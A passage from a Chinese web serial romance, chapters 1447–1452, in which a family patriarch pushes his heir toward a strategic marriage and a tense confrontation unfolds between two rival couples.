傅老爷子依旧坐在红木书桌后的太师椅上,指尖无意识地摩挲着书桌边缘的雕花,那股因方才争执而起的怒火,此刻已沉淀为一种近乎凝重的冷静,却比刚才的怒斥更显压迫。 “我跟你说了许愿的身份,你就真的没有其他想法?真的只想跟许宁在一起?”老爷子的声音低沉,每一个字都像是从齿缝里慢慢挤出来,带着对继承人的审视与最后的劝诫,“你要想清楚,许愿是苏青莲的女儿,她自幼在名门浸润,眼界、手腕、人脉,都是经过打磨的。苏青莲当年追求者众多,那些如今都在商界、政界有着举足轻重的地位,他们看着许愿长大,将来若有事,必然会伸手帮衬。你能明白吗?她会是你未来最好的助力,能在你面对家族产业扩张、商业博弈时,为你搭起看不见的桥梁。” 第1447章 关乎整个傅家的命运 老爷子站起身,缓步走到书架前,指尖拂过一排古籍的书脊,目光却落在傅京礼身上,带着一种不容置疑的笃定:“但如果你选择许宁,你一定会受到伤害。” 他顿了顿,语气加重了几分,像是在陈述一个无法更改的事实,“你现在是高高在上的傅家继承人,站在聚光灯下的一举一动都被人盯着。可许宁的出身,会成为别人攻击你的软肋。她的过往、她母亲的身份,都会被翻出来反复咀嚼。将来若有变故,她若说错一句话、做错一件事,那些等着看傅家笑话的人,就会蜂拥而上,到那时,出丑的、被推上风口浪尖的,一定是你。你能承受这种风险吗?你能保证许宁永远都不会犯错,不会给你添麻烦吗?” 傅京礼的指节微微泛白,攥紧了西装裤的裤缝。 他想起许宁手腕上那道与记忆里重合的疤痕,想起重逢时她眼底的怯懦与依赖,想起那些年他辗转寻觅的孤寂。 那些执念早已刻进骨血,不是几句话就能轻易抹去的。 可老爷子的话,又像一根细针,轻轻扎在他心底,让他不得不面对现实的冰冷。 “许宁的出身眼界就是这种高度,这是她无法改变的局限。” 老爷子转过身,目光如炬,“可许愿不一样。她母亲的人脉、她自身的素养,都是实打实的资源。你只有跟许愿搞好关系,娶她为妻,才能得到那些人的助力,才能让傅家的产业更进一步,让你的继承之路走得更稳更顺。不论从出身、眼界,还是从利益来看,许愿都是最适合你的,她才配做傅家的少奶奶,才配站在你身边,成为你的贤内助。” 老爷子走到傅京礼面前,双手撑在书桌上,身体微微前倾,目光紧紧锁住他的眼睛,带着一种压迫性的力量:“阿礼,你考虑清楚,你到底想不想跟许愿在一起?是不是真的爱许宁?你别告诉我,你只是因为十年前的执念,就放弃所有现实的考量。你要想清楚,你想要的是什么,是虚无缥缈的救命之恩,还是实实在在的家族基业与未来?你若是选了许宁,就等于放弃了这些助力,放弃了傅家为你铺好的最稳妥的路。你若是选了许愿,傅家会全力支持你,那些人脉会成为你的后盾,你将来的路会顺遂许多。这不是在逼你,是在让你看清现实,做出最正确的选择。你考虑清楚!” 书房里的空气仿佛凝固了,只有墙上的挂钟在“滴答、滴答”地走着,每一声都像敲在傅京礼的心上。 他看着老爷子眼底的坚定与不容置疑,又想起许宁在他怀里哽咽着说“不想让你失望”的模样,两种截然不同的画面在他脑海中交织、碰撞。 他想起许宁手腕上的疤痕,想起她当年是如何从绑匪手里救下自己,那是他这些年一直寻找的光。 可老爷子的话又在耳边回响,许愿身后那些看不见的人脉与资源,确实是他作为傅家继承人不得不考量的现实。 他不是不知道这些利害关系,只是那些年对“白月光”的执念,早已成了他心底最柔软也最固执的角落,让他无法轻易割舍。 “爷爷,”傅京礼终于开口,声音带着一丝不易察觉的沙哑,他抬起头,目光里有挣扎,却依旧藏着那份执念,“我知道许愿的身份能带来很多助力,我也知道许宁的出身会带来麻烦。可是……” 他顿了顿,像是在整理思绪,又像是在坚定自己的决心,“十年前,是她把我从黑暗里拉出来。这些年,我找她找得辛苦,也等得辛苦。现在我终于找到她了,我不想再放手。我知道会有风险,可我愿意承担。比起那些人脉和助力,我更想守住这份执念,守住她。” 傅老爷子听着傅京礼的话,眼底的失望愈发浓重。 他看着眼前这个自己一手培养的继承人,仿佛看到了他眼底那份近乎偏执的固执,像一团烧得滚烫的火,烧得他看不清现实,也烧得他不顾一切。 “你真是……”老爷子的声音带着疲惫,他摇了摇头,重新坐回太师椅上,语气里满是无奈,“你真是被猪油蒙了心,没脑子的恋爱脑!你可知,你这份执念,不仅会害了你自己,还可能会害了傅家!” “我不会让傅家有事的。”傅京礼立刻反驳,语气里满是坚定,“我会保护好许宁,也会守住傅家的基业。爷爷,您别再劝了,我已经决定了。” “决定?”老爷子冷笑一声,眼底满是讽刺,“你可知,决定之后,你将面对什么?你可知,那些人会如何攻击你,如何拿许宁的出身做文章?你可知,一旦许宁犯了错,那些助力会瞬间变成攻击你的武器?阿礼,你不是一个人,你是傅家的继承人,你的选择,关乎整个傅家的命运!” 傅京礼沉默了,他看着老爷子眼底的愤怒与担忧,心底的挣扎愈发剧烈。 他知道老爷子说的都是事实,可那份执念就像一根线,紧紧缠着他的心,让他无法轻易割断。 他想起许宁在他怀里颤抖的模样,想起她眼底的依赖,他不能放弃她,不能让那份等了十年的执念落空。 “爷爷,我……”傅京礼刚要开口,却被老爷子打断。 “你不用再说了。”老爷子摆了摆手,语气里带着一种失望透顶的疲惫,“我已经把利害关系都跟你讲清楚了,怎么选,是你的事。但是阿礼,你要记住,一旦你选了许宁,就别指望傅家会给你任何助力,也别指望那些人脉会帮你。你若因此摔了跟头,那是你自己的选择,傅家不会替你收拾烂摊子。你若选了许愿,傅家会全力支持你,那些人脉也会成为你的后盾。你自己好好想想吧。” 老爷子说完,不再看傅京礼,重新拿起桌上的古籍,翻动书页的动作带着几分烦躁。 傅京礼站在原地,看着老爷子冷漠的侧脸,心底的挣扎愈发剧烈。 他知道,这场博弈,才刚刚开始,而他,正站在现实与执念的十字路口,面临着最艰难的选择。 书房里的灯光依旧亮着,暖黄的光晕洒在两人身上,却照不亮他们眼底的挣扎与对立。 第1448章 不能辜负她 傅家老宅的书房,檀香在空气中缓缓弥散,却压不住满室的凝滞。 红木书桌上的青瓷茶盏还冒着热气,傅老爷子指尖捏着一份刚打印出来的调查报告,纸张边缘已被攥得微微发皱,指节泛白,像在压抑着即将喷薄而出的怒火。 他抬眼看向站在书桌前的傅京礼,目光如寒潭深水,藏着对继承人的失望,也藏着对家族未来的忧虑。 “你一直说是许宁救了你,所以你需要报恩,”老爷子的声音低沉,每一个字都像裹着冰碴,砸在寂静的书房里,“可你自己呢,阿礼?你有没有好好想过,你自己想要什么?” 他猛地将报告摔在桌上,纸张哗啦作响,“你从小在傅家长大,见过最好的资源,受过最顶尖的教育,你骨子里的追求从来都是站在更高处,做最优秀的人。现在你告诉我,你要退而求其次,选一个会成为你软肋、甚至可能成为傅家痛处的女人做傅家主母?”\\ 老爷子站起身,几步走到傅京礼面前,目光如炬,紧紧锁住他的眼睛,仿佛要穿透那层执念的迷雾,“你这样做,不仅是对傅家不负责,更是对你自己不负责!阿礼,我不希望你因为那点恩情,毁掉你自己一辈子。” 傅京礼的指节泛白,他看着老爷子眼底的严厉,喉结滚动了一下,却没有立刻反驳。 他知道爷爷的话里满是现实的重量,可那份刻在心底的执念,像藤蔓般缠得他喘不过气,也让他无法轻易松口。 “人不可能凭借恩情跟对方过一辈子。”老爷子的语气缓了缓,却依旧带着不容置疑的清醒,像在给执迷不悟的人敲响警钟,“婚姻是柴米油盐,是灵魂的共鸣,是共同的话题与追求。你可以跟许愿谈工作,谈公司未来的发展规划,谈如何应对市场的风浪,她能站在和你一样的高度,给你最专业的建议,成为你事业上的伙伴。可许宁呢?你能跟她谈什么?” 他顿了顿,眼底满是讽刺与不屑,指尖点了点桌上的调查报告,“我不是没有了解过许宁,从你跟她接触开始,我就让人查过她的底细,她是什么人,我甚至比你还清楚。她就是一个唯利是图、世俗廉价的女人,满脑子都是追求名利,为了自己想要的,能豁出一切,甚至不惜伪造身份。” 老爷子重新坐回太师椅,指尖轻轻敲击着扶手,发出有节奏的“咚咚”声,像在敲击着傅京礼心底的防线。 “你可以跟许愿聊《时间简史》,聊量子力学,聊艺术与哲学,她能和你探讨宇宙的奥秘,能和你共赏一幅画的意境,能和你分析奢侈品背后的文化与商业逻辑。可许宁呢?你能跟她聊什么?” 他冷笑一声,眼底满是轻蔑,“聊名牌,聊名表,聊最新的高奢礼服?她能跟你聊的,只有‘这个包好看’‘那个表值钱’,除此之外,还有什么?”老爷子的声音陡然拔高,带着一种痛心疾首的质问,“你觉得这样和她过一辈子,有意思吗?不可笑吗?阿礼,你以前不是这样的人,你从来都知道自己要什么,也从来不会让低层次的人和事影响你的判断。现在你告诉我,你要和这样一个女人共度一生,你配得上自己吗?” 傅京礼的眉头紧紧蹙起,心底的挣扎愈发剧烈。 他知道爷爷说的没错。 他身边的人都是与他谈战略、谈格局的人,而许宁确实和他没有太多共同话题。 他想起和许宁相处的场景,她会兴致勃勃地跟他分享新买的高奢包,会抱怨哪家餐厅的服务不好,却很少能和他聊起他真正感兴趣的工作与追求。 可那份执念就像一根藤蔓,紧紧缠着他的心,让他无法轻易放手。 他想起十年前,自己被绑匪困在废弃仓库,是那个手腕上有疤痕的女孩,冒着危险帮他解开绳索,还把自己的外套披在他身上,轻声说“别怕,我带你出去”。 那份勇气与善良,是他这些年一直寻找的光,是他心底最柔软也最固执的角落。 “爷爷,”傅京礼终于开口,声音带着一丝沙哑,像是被砂纸磨过,“我知道你说的都对,我也知道许宁和我之间确实有很多差距。可是……” 他顿了顿,像是在整理思绪,又像是在坚定自己的决心,“十年前,是她把我从绑匪手里救出来,是她给了我活下去的勇气。这些年,我找她找得辛苦,也等得辛苦。现在我终于找到她了,我不想再让她离开。我不能那么没良心,不能辜负她的救命之恩。” “救命之恩?”老爷子猛地打断他,眼底满是失望,“阿礼,你到现在还看不清吗?恩情是恩情,感情是感情!你可以报恩,可以给她最好的物质补偿,可以让她一辈子衣食无忧,但你不能把婚姻当成报恩的工具!你若真的和许宁结婚,将来面对的不仅仅是两个人的相处问题,还有傅家上下的议论,还有那些等着看傅家笑话的人的攻击。你若因为她的无知、她的世俗,影响了工作,影响了傅家的基业,你对得起傅家的列祖列宗吗?你对得起我这些年对你的培养吗?” 傅京礼的肩膀微微颤了一下,他看着老爷子眼底的痛心,心底的烦躁与无奈愈发强烈。 他知道爷爷说的都是事实,他也清楚,和许宁在一起,未来可能会面临无数的困难与挑战。 可是那份执念就像一根线,紧紧缠着他,让他无法轻易割舍。 他想起许宁在他怀里颤抖的模样,想起她眼底的依赖,想起那些年他辗转寻觅的孤寂。 那些情绪交织在一起,让他无法轻易做出放弃的决定。 “爷爷,”傅京礼抬起头,眼底满是挣扎,却依旧藏着那份执念,“我知道您说的都对,我也知道和许宁在一起,可能会有很多问题。可是……我真的不能放弃她。我不能辜负她,不能辜负我自己的执念。我可以对她负责,一辈子都可以。” 第1449章 是巧合,还是故意来搅局 他顿了顿,语气里满是坚定,“傅家人如果另一半没有犯下不可饶恕的过错,都是不允许离婚的,这是傅家的规矩,我不会违背。只要她不犯错,我就会好好对她,会给她最好的生活,会守住她,守住这份执念。” “你——!”老爷子被他气得浑身发抖,手指指着傅京礼,半天说不出话来。他看着眼前这个自己一手培养的继承人,眼底满是复杂的情绪。有对继承人的担忧,有对家族声誉的焦虑,也有对“执念”的无奈。 他深吸一口气,试图平复心底的怒火,可语气里依旧带着一种疲惫的严厉:“我看你真的是疯了!阿礼,你为了那点恩情,就要把自己的一辈子搭进去?你若因为许宁,影响了傅家的基业,你就是傅家的罪人!” 傅京礼沉默了,他看着老爷子冷漠的侧脸,心底的挣扎愈发剧烈。他知道爷爷已经做出了最后的让步,可这份让步里,满是失望与担忧。他想起许宁曾说过“阿礼哥哥,我只要你”,想起她眼底的期待。 那些情绪像潮水般涌来,让他无法轻易做出放弃的决定。 “爷爷,”傅京礼的声音带着一丝疲惫,眼底满是挣扎,“我知道您说的都对,我也知道和许宁在一起,可能会有很多问题。可是……我真的不能放弃她。我不能辜负她,不能辜负我自己的执念。我可以学着和她沟通,可以带她接触更多的东西,让她慢慢成长。我会处理好的,不会让傅家有事的。我自己的选择,我会负责到底。” 老爷子没有回应,依旧闭着眼睛,仿佛已经不想再听他说什么。他靠在太师椅上,身影在暖黄的灯光下显得有些疲惫与苍老。 许久,他才缓缓开口,语气里满是失望透顶的疲惫:“好,好,阿礼,你既然这么坚持,那你就去试试吧。但是你要记住,一旦你选了许宁,就别指望傅家会给你任何助力,也别指望那些人脉会帮你。你若因此摔了跟头,那是你自己的选择,傅家不会替你收拾烂摊子。你自己好自为之吧。” 傅京礼站在原地,看着老爷子闭着眼睛的模样,心底满是烦躁与无奈。 他知道,这场博弈,才刚刚开始,而他,正站在现实与执念的十字路口,面临着最艰难的选择 他想起许宁手腕上的疤痕,想起她眼底的依赖,又想起爷爷说的“灵魂共鸣”“家族责任”,两种截然不同的画面在他脑海中交织、碰撞,像两股力量,拉扯着他,让他几乎要撕裂。 可傅京礼是个信守承诺的人,纵然他心里清楚其实选择许愿才是最优选,但他无法抑制住自己对许宁的渴望。 白月光,是不一样的。 傅京礼推开书房那扇厚重的檀木门时,大厅里暖黄的水晶灯光恰好落在他肩头,却照不透他眉宇间残留的凝重。 那凝重是与老爷子激烈争执后的余烬,是执念与现实碰撞后留下的裂痕。 而许宁,像株守候在寒风里的草,一直蜷在红木沙发的角落,指尖无意识地绞着裙摆上细碎的蕾丝,每一次门轴转动的轻响都让她的心跳漏一拍。 她怕傅京礼出来时,眼底的温柔会被老爷子的威严碾碎,怕那句“娶许宁”的誓言被家族的压力撕成碎片。 当傅京礼抬眼望向她的瞬间,那双原本带着几分挣扎的眼眸里,竟真的沉淀下一片温柔的暖光,像冬日里突然照进阴霾的阳光。 许宁的心脏猛地一颤,所有的担忧瞬间化作雀跃,像被解开了束缚的鸟儿。她 几乎是下意识地站起身,裙摆划过地毯发出细微的沙沙声,下一秒便扑进傅京礼怀里,脸颊紧紧贴着他温热的胸膛,带着几分撒娇的力道蹭了蹭,手臂环得极紧,仿佛要把自己嵌进他的身体里,汲取那份能让她安心的温度。 一旁的佣人和管家见状,皆垂着眼不敢多言,只当没看见这不合规矩的亲密。 傅家继承人向来强势,谁敢多嘴半句? 可他们眼底深处,却藏着几分不易察觉的无奈。 他们都知道老爷子对这位“许宁小姐”的态度,这般亲昵,只会让局面更难看。 傅京礼顺势将人牢牢圈在怀里,手掌轻轻拍着她的后背,力道沉稳又带着安抚,像在护着一件易碎的珍宝。 可就在这片刻的温存里,楼梯口传来一道沉稳的脚步声,带着不容忽视的威严。 老爷子不知何时站在那里,双手拄着拐杖,目光如刀般扫过相拥的两人,带着几分审视与冷淡,像寒冬里刺骨的风,瞬间吹散了许宁刚积攒起的暖意。 许宁浑身一激灵,像被按下了暂停键,僵硬地从傅京礼怀里站直身体,连指尖都在微微颤抖。 她低垂着眼,不敢直视老爷子的目光,小声嗫嚅道:“阿礼哥哥,爷爷好像很讨厌我……”声音细若蚊蚋,带着几分委屈与惶恐,像只受惊的小兽,小心翼翼地寻求着傅京礼的庇护。 她攥着傅京礼衣袖的手指愈发用力,指节泛白,那力道里满是不安。 她清楚地知道,自己在傅老爷子心中的分量,那点温存的温柔,或许随时都会被碾碎。 傅京礼低头看了她一眼,眼底的复杂情绪让许宁心底一沉,她知道,刚才书房里的争执,还有此刻老爷子的冷淡,已经让傅京礼的心动摇了。 可她依旧攥着他的衣袖,像攥着最后一根救命稻草,那点力道里,满是对傅京礼的在意与小心翼翼,生怕自己一个松手,就会失去他。 就在这时,管家的声音突然响起,带着几分恭敬与意外:“老爷子,许愿小姐来了。” 许宁的表情瞬间僵住,瞳孔微微放大,眼底满是难以置信与慌乱。 她怎么会在这个时候来?是巧合,还是故意来搅局? 她攥着傅京礼衣袖的手愈发用力,指甲几乎嵌进掌心,心底翻涌起难以言喻的不安与排斥,甚至有一丝被戳穿谎言的恐慌。 而老爷子的神色,却在听到“许愿”二字时,明显柔和了几分,像冰雪消融,连嘴角都微微上扬,快步走下楼梯,亲自迎向门口的人,语气里带着长辈特有的关切与重视:“阿愿?你怎么来了?怎么不提前说一声?” 第1450章 害怕一无所有 这份态度的反差,像一根细针,狠狠扎在许宁心上。 她看着老爷子对许愿那般亲昵的模样,再看看自己方才被冷眼相待的场景,心底的嫉妒与自卑愈发浓烈,连呼吸都变得急促起来,攥着傅京礼衣袖的手愈发用力,指节泛白得近乎透明。 许愿微微一笑,落落大方地走上前,眼底满是坦然与从容,丝毫没有被长辈审视的局促:“爷爷,今天天气好,想着好久没来看您,就过来了。顺便带了您爱吃的桂花糕。”她将手中的礼盒递给一旁的管家,目光扫过傅京礼和许宁,最后落在老爷子身上,眼底满是长辈喜爱的暖意。 她知道老爷子一直看重自己,这份看重,是从小到大积累的信任与欣赏,是家族联姻里最合适的“门当户对”,也是老爷子心中最理想的孙媳人选。 就在这时,一直站在许愿身侧的盛景炎开口了,声音清朗又带着几分不容忽视的坚定,像玉石相击,掷地有声:“我是她未来的男朋友,未来的爱人。” 他微微侧头,看向许愿的眼神满是温柔与占有欲,那姿态像在宣告主权,随即又转向老爷子,颔首示意,态度不卑不亢,没有丝毫怯场,反而透着一种世家子弟的从容与底气。 大厅里的空气仿佛在这一刻凝固。 老爷子的眉头瞬间皱起,目光在盛景炎和许愿之间来回打量,带着几分审视与意外。 他从未听许愿提起过这段感情,更没想到她的“男朋友”会是眼前这个气度不凡的年轻人。 他看着盛景炎揽着许愿的手臂,看着两人之间那种自然而亲密的距离,心底满是复杂的情绪。 有对许愿有了归宿的欣慰,也有对盛景炎身份的探究,更有几分对“未来联姻”的重新考量。 而傅京礼,听到“男朋友”三个字时,瞳孔骤然收缩,心底像是被什么东西狠狠撞了一下,复杂的情绪瞬间涌上心头。 他看着盛景炎揽着许愿的手臂,看着许愿眼底那份坦然与幸福,想起刚才在书房里,爷爷还在极力劝说自己与许愿更合适,说许愿能成为自己事业上的伙伴。 可现在,许愿身边已经有了盛景炎,那份“合适”瞬间变得无比讽刺。 他看着许宁依旧紧紧攥着自己衣袖的手,看着她眼底的不安与嫉妒,心底的烦躁愈发强烈,甚至有一丝莫名的失落。 他突然意识到,自己对许愿的“执念”,或许从一开始就错了方向。 许宁更是脸色苍白如纸,她看着盛景炎揽着许愿的手臂,看着两人之间那种自然而亲密的距离,心底的嫉妒与慌乱像藤蔓般疯长。她想起自己为了留在傅京礼身边,伪造身份、编造谎言的种种过往,想起自己与许愿那剪不断理还乱的纠葛。 此刻,所有的一切都像一张密不透风的网,将她紧紧裹住,让她几乎要窒息。她攥着傅京礼衣袖的手愈发用力,像在祈求,又像在宣示主权,可那力道却透着几分虚浮。 她清楚地知道,此刻的自己,在许愿和盛景炎面前,在老爷子的眼里,显得多么狼狈与不堪。 老爷子沉默了片刻,终于开口,语气带着几分探究与深意:“男朋友?阿愿,你什么时候有男朋友了?怎么不跟爷爷说?”他的目光依旧盯着盛景炎,似乎在判断这个年轻人的来历与诚意,也似乎在重新考量家族未来的布局。 许愿笑了笑,自然地挽住盛景炎的手臂,语气坦然:“最近才确定的,想着今天来见您,就顺便带他一起过来了。”她主动介绍道,丝毫没有被长辈审视的局促,反而透着一种掌控局面的从容,“景炎,这位是傅家的老爷子,也是阿礼的爷爷。” 盛景炎再次颔首,语气恭敬又带着几分坚定:“老爷子好,我是盛景炎,来自盛家。以后会好好照顾阿愿,请您放心。”他的话简洁有力,既表明了自己的身份,又表达了对许愿的珍视,没有丝毫怯场,反而透着一种世家子弟的底气与担当。 傅京礼看着许愿眼底的坦然,看着盛景炎眼底的温柔与占有欲,心底的天平在不知不觉间悄然倾斜。 他想起爷爷在书房里说的那些话。 关于共同话题,关于灵魂共鸣,关于事业伙伴。 此刻,他终于清晰地意识到,自己与许宁之间,确实隔着一道无法跨越的鸿沟。 而许愿,那个曾经被自己忽略的“白月光”,此刻与盛景炎站在一起,竟显得如此般配,如此耀眼。 他看着许宁依旧紧紧攥着自己衣袖的手,心底满是烦躁与无奈,他突然意识到,这份执念,或许从一开始就带着几分盲目。 许宁察觉到傅京礼的情绪变化,更加用力地抓紧他的衣袖,眼底带着几分祈求,似乎在说“不要丢下我”。 可傅京礼却只是低头看了她一眼,眼底的复杂情绪让许宁心底一沉。 她知道,刚才盛景炎的出现,已经让傅京礼的心动摇了,而自己,不过是这场执念与现实博弈里,最不堪的一枚棋子。 老爷子的目光在四人之间来回打量,最后落在傅京礼和许宁身上,语气里带着几分深意与威严:“既然都来了,那就一起坐下来聊聊吧。”他转身走向客厅的沙发,背影带着几分威严,却也藏着几分不易察觉的无奈。 他清楚地知道,今晚的傅家老宅,注定不会平静。 许宁被傅京礼揽着坐下,却依旧浑身紧绷。 她看着对面的许愿和盛景炎,看着他们之间那种自然而亲密的互动,心底的嫉妒与不安愈发强烈。 她想起自己为了留在傅京礼身边,伪造身份、编造谎言的种种过往,想起自己与许愿那剪不断理还乱的纠葛、 此刻,所有的一切都像一张密不透风的网,将她紧紧裹住,让她几乎要窒息。 她攥着傅京礼衣袖的手愈发用力,指甲几乎嵌进掌心,心底满是不甘与恐慌。 她害怕失去傅京礼,更害怕谎言被揭穿后,自己会一无所有。 第1451章 没资格质疑我对许宁的感情 许愿,只是静静地坐在盛景炎身边,偶尔与老爷子聊几句家常,眼底满是坦然与从容。 盛景炎则不时侧头看向她,眼底的温柔与占有欲毫不掩饰,那姿态像在宣告,许愿是他的,任何人都无法抢走。 他偶尔也会看向傅京礼,眼底带着几分若有若无的探究,似乎在思考这位傅家继承人与许宁之间的关系,以及这场博弈里,各方的立场与筹码。 傅京礼看着许愿眼底的坦然,又看看身边许宁的紧张与不安,心底的执念开始出现裂痕。 他想起爷爷说的“灵魂共鸣”,想起许愿曾与自己聊过的那些工作与追求,想起她对奢侈品背后文化的独到见解。 那些曾经被他忽略的细节,此刻像潮水般涌上心头,让他不得不重新审视自己与许宁的关系。 他看着许宁依旧紧紧攥着自己衣袖的手,心底满是烦躁与无奈。 他突然意识到,自己或许一直在追逐一个虚幻的执念,而真正的“合适”,或许从来都不在自己的执念里。 大厅里的灯光依旧暖黄,却照出了每个人心底的暗涌与挣扎。 傅京礼看着许愿与盛景炎,看着许宁的不安与嫉妒,心底的执念与选择,在现实的碰撞下,开始走向无法逆转的裂变。 傅老爷子突然话音一转,浑浊却锐利的眼眸盯着盛景炎,语气里带着几分探究与不易察觉的轻慢:“盛家?据我所知,盛家的烂摊子可不少啊。” 他拄着拐杖,指节因用力而泛白,显然对盛家的过往并非全然满意,这份不满意里,既掺杂着对家族联姻的谨慎考量,也藏着对许愿未来的担忧。 他看重许愿,自然不希望她陷入盛家的纷争漩涡。 傅京礼眼底瞬间漫上一层冷意,像冰封的湖面,透着刺骨的寒。 他双手抱臂靠在沙发扶手上,目光如刀般落在盛景炎身上,嘴角勾起一抹近乎嘲讽的弧度,仿佛在等待一场好戏开场。 他巴不得盛景炎露出破绽,好借此打消老爷子对盛景炎与许愿的认同,也好让许愿看清这个“男朋友”的真面目,继而想起自己。在他看来,盛景炎不过是个出身混乱的纨绔,与许愿根本不配。 盛景炎闻言,却弯了弯眉眼,那笑意未达眼底,反而带着几分玩味。 他指尖轻轻摩挲着手中青瓷茶杯的杯沿,动作从容不迫,仿佛没听见傅老爷子的质疑,也没在意傅京礼的敌意。茶杯里的茶汤晃了晃,映出他眼底的坚定,他缓缓开口,声音沉稳又带着不容置疑的分量:“盛家烂摊子多,但我没有那些烂摊子。不管出什么事,在我这里都是许愿永远第一、独一无二原则,这不是开玩笑。” 他目光转向许愿,两人目光流转对视,眼底的温柔与坚定像淬了火的琉璃,滚烫又耀眼,那般纯粹的爱意,让旁观者都忍不住心头一颤,觉得自己像条被强行塞了狗粮的可怜虫,被虐得眼眶发疼。 许愿也微微一笑,指尖轻轻覆在盛景炎摩挲茶杯的手背上,两人的互动自然又亲密,像冬日里相互取暖的暖阳,让整个客厅的氛围都柔和了几分,却也让傅京礼心底的烦躁愈发浓烈。 傅京礼见状,再也按捺不住,冷笑着开口,语气里满是挑衅与不屑:“你说的轻巧简单!你怎么能保证你自己以后不会变心?能一直都是许愿最重要、独一无二原则至上?别忘记了,人的感情都是会改变的,你今天喜欢许愿,明天就会喜欢其他人!”他身体微微前倾,目光如炬,试图用言语击溃盛景炎的防线,“你们盛家骨子里就是有这种劣根性,更不要说是你这种女人众多的海王。你在外面的女人两只手数得过来吗?”他刻意加重“海王”“女人众多”的字眼,眼神带着鄙夷,最后斩钉截铁地补刀,“说白了,盛景炎,你就是脏,你怎么脏,怎么配得上许愿?” 这话可谓字字诛心,不仅质疑了盛景炎的品行,更将他与许愿的感情贬得一文不值。 许宁攥着傅京礼衣袖的手紧了紧,眼底闪过一丝得意。 她希望傅京礼能彻底撕碎盛景炎的伪装,让许愿看清谁才是真正“可靠”的人。 盛景炎都要被他这番挑衅的话气笑了,指尖停在茶杯杯沿,眉眼间的玩味散去,取而代之的是凌厉的锋芒。 他抬眸看向傅京礼,眼底满是毫不掩饰的不屑,像看着一个不知天高地厚的跳梁小丑,缓缓开口道:“傅京礼,你倒是会往人身上泼脏水。说我女人众多,那你不如先看看自己身边这位许宁小姐?” 他目光扫过许宁攥着傅京礼衣袖的手,语气带着几分讽刺,“她对你小心翼翼,处处讨好,可你有没有想过,她这份‘小心翼翼’里,藏着多少算计?她又是不是真的如你所想那般‘纯粹’?” 他顿了顿,指尖轻叩茶杯,发出清脆的声响,目光重新落在傅京礼身上,带着几分轻蔑:“你说我脏,说我配不上许愿,那你自己呢?你身边不是还有一位‘解语花’吗?傅京礼,你又算是什么好人?”他刻意咬重“解语花”三个字,眼神带着几分探究与嘲讽,“你为了一个所谓的‘救命恩人’,跟老爷子闹翻,跟家族决裂,可你有没有想过,这个‘救命恩人’到底是谁?她真的配得上你的执念吗?还是说,你只是在自我感动?” 盛景炎的话像一把锋利的刀,精准地戳中了傅京礼的痛点。 他与许宁的关系,他心底的执念,本就带着几分不确定,此刻被盛景炎当众质疑,傅京礼的脸色瞬间沉了下来,眼底的冷意愈发浓烈。 他猛地站起身,双手撑在茶几上,目光如刀般盯着盛景炎,语气里满是愤怒与不甘:“盛景炎,你少在这里挑拨离间!我跟许宁的事,用不着你来管!你没资格质疑我对许宁的感情!” 第1452章 极致的算计与贪婪 盛景炎却依旧从容不迫,缓缓放下茶杯,身体微微后仰,靠在沙发靠背上,姿态优雅又带着几分慵懒,可眼底的锋芒却愈发锐利:“我没资格管你跟许宁的事?那你有没有资格管我跟阿愿的事?你质疑我的品行,质疑我对阿愿的感情,难道我不能为自己辩驳?还是说,你心虚了?”他目光扫过傅京礼紧绷的脸,语气带着几分咄咄逼人,“你口口声声说我是海王,说我脏,可你呢?你为了一个来路不明的女人,跟家族闹翻,跟长辈顶撞,这份‘深情’,到底是为了许宁,还是为了你自己那点虚荣的执念?你又算不算得上是‘好人’?” 傅京礼被他的话噎得脸色铁青,眼底的怒火愈发旺盛,声音都拔高了几分:“盛景炎,你别太过分!我跟许宁的事,不是你能评判的!你跟许愿的事,也轮不到我来插手,可你既然来傅家,就该知道什么该说,什么不该说!别以为有许愿护着,你就能肆无忌惮!” 盛景炎闻言,嘴角勾起一抹冷笑,指尖轻轻敲击着沙发扶手,发出有节奏的声响,语气带着几分挑衅:“我肆无忌惮?傅京礼,你倒不如先管好自己!你跟许宁的事,老爷子都不同意,你还在这里坚持,难道不是在跟家族对着干?你口口声声说对许宁好,可你有没有想过,你的坚持会给许宁带来什么?会给傅家带来什么?” 他目光扫过老爷子沉着的脸,又看向傅京礼,眼底满是不屑,“你不过是仗着自己是傅家继承人,就肆意妄为,你以为你的‘深情’很伟大,可在我看来,不过是一场不负责任的闹剧!” “你!”傅京礼被他的话气得浑身发抖,眼底的怒火几乎要喷涌而出,他猛地抬手指向盛景炎,声音带着几分颤抖,“盛景炎,你少在这里胡说八道!我跟许宁的事,用不着你来指手画脚!你跟许愿的事,也别想着攀附傅家!许愿不是你能利用的工具!” 盛景炎却丝毫不恼,反而轻笑出声,那笑声带着几分嘲讽:“攀附?傅京礼,你倒是会给人扣帽子。我跟阿愿在一起,是因为我们彼此相爱,不是为了什么攀附家族。不像你,为了一个来路不明的女人,跟家族闹翻,这份‘深情’,可真是让人‘感动’。”他目光扫过傅京礼紧绷的脸,语气带着几分轻蔑,“你管好你自己吧,别到时候不仅许宁保不住,还丢了傅家的脸面,那可就太不值当了。” 两人你一言我一语,唇枪舌剑,火药味愈发浓烈。 傅老爷子坐在主位上,脸色愈发沉凝,手里的拐杖重重敲击地面,发出“咚”的一声闷响,试图打断两人的争执,可傅京礼与盛景炎却依旧针锋相对,谁也不肯退让一步。 许宁缩在傅京礼身边,脸色苍白如纸,眼底满是不安与惶恐,她看着盛景炎,又看看傅京礼,心底满是嫉妒与恐慌。 她害怕盛景炎会说出更多关于自己身份的真相,也害怕傅京礼会被盛景炎的话动摇。 而许愿,只是静静地坐在盛景炎身边,偶尔抬眸看看盛景炎,眼底满是信任与温柔,没有丝毫慌乱。 她知道盛景炎的为人,也清楚他对自己的真心,这场争执里,她不需要多言,只需坐在盛景炎身边,便是对他最好的支持。 大厅里的灯光依旧暖黄,却照出了这场对峙里最尖锐的矛盾。 傅京礼的执念与愤怒,盛景炎的从容与锋芒,老爷子的威严与无奈,许宁的不安与恐慌,许愿的坦然与信任,交织在一起,像一张密不透风的网,将所有人都裹在其中。 傅家老宅的大厅里,空气早已凝固成一片冰封的湖,每一丝流动的气息都裹挟着令人窒息的锋芒。 傅京礼与盛景炎的唇枪舌剑仍在持续,两人的声音像淬了寒冰的刀刃,在暖黄灯光下划出刺耳的声响,而老爷子沉凝的脸色与许宁瑟瑟发抖的身影,更让这方空间里的张力拉到极致。 许愿依旧坐在盛景炎身边,指尖轻轻搭在青瓷茶杯的杯沿,指腹摩挲着细腻的釉面,神色淡然得如同局外人。 